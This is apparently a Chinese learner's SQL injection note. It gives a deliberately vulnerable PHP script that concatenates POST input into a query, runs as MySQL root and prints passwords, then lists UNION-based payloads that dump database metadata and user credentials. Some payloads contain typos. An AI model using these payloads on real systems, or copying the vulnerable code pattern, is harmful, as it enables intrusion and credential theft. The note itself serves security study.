sqllin.php 代码
- //fendo 数据库 root 用户连接 mysql 数据库, 操作 user 表
- <?
- $id= $_POST['x'];// 接受 get 传递的参数名 x 的值并赋值给变量 id
- $conn = mysql_connect('127.0.0.1','root','root');// 连接 mysql 数据库
- mysql_select_db('fendo',$conn);// 选择 $conn 连接请求下的 test 数据库名
- $sql = "select * from user where id=$id";// 定义 sql 语句并组合变量 id
- $result = mysql_query($sql);// 执行 sql 语句并返回给变量 result
- while($row = mysql_fetch_array($result)){// 遍历数组数据并显示
- echo "ID".$row['id']."</br>";
- echo "用户名".$row['username']."</br>";
- echo "密码".$row['password']."</br>";
- }
- mysql_close($conn);// 关闭数据库连接
- echo "<hr>";
- echo "当前语句:";
- echo $sql;
- ?>
尝试注入
1 and 1=1
1 and 1=2
存在注入.
猜长度
- 1 order by 1 #返回正常
- 1 order by 1,2 #返回正常
- 1 order by 1,2,3 #返回正常
- 1 order by 1,2,3,4 #返回错误
长度为 3
获取数据库名, 数据库版本, 数据库用户
1 union select databse(),version(),user()
爆出 DVWA 的表
1 union select table_name,2,3 from information_schema.tables where table_schema=0x64767761
爆出 DVWA 下 users 表的字段
1 union select column_name,2,3 from inforamtion_schema.columns where table_name=0x7573657273
爆出我要的字段
1 union select username,password,3 from user
Cookie 注入:
cookie 注入: 点我看详细注入 https://blog.csdn.net/u011781521/article/details/57406275
学习完这些后, 可以画出这么一幅图
盲注目前还没学
来源: https://www.cnblogs.com/haq5201314/p/8832617.html